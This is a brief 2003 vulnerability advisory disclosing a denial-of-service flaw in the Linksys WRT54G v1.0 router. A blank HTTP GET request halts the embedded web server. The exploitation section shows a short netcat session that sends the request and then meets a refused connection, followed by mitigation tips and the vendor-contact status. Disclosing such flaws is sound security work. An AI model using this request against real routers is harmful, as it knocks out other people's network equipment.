Linksys WRT54G Denial of Service Vulnerability
carbon@techcentric.net - 12/02/03


System(s)
===========

Tested on Linksys WRT54G v1.0 (firmware v 1.42.3) 


Detail(s)
===========

Sending a blank GET request to the router on port 80 (or 8080) halts the 
embedded webserver.  This may allow an attacker to force the owner to 
reboot the router, allowing them to gain sensitive information during router 
authentication.

Exploitation
============

user@test:~$ nc 10.0.0.1 80
GET
user@test:~$ nc 10.0.0.1 80
(UNKNOWN) [10.0.0.1] 80 (http) : Connection refused
user@test:~$ 

Solution(s)
============

- Https service should continue running for remote access.
- Scan for sniffers that might be on the network before rebooting and 
  performing any authentication.
- Wait for a vendor patch :) 

Status
============

Vendor contacted on 12/03/03.

 
!HAPPY HOLIDAYS!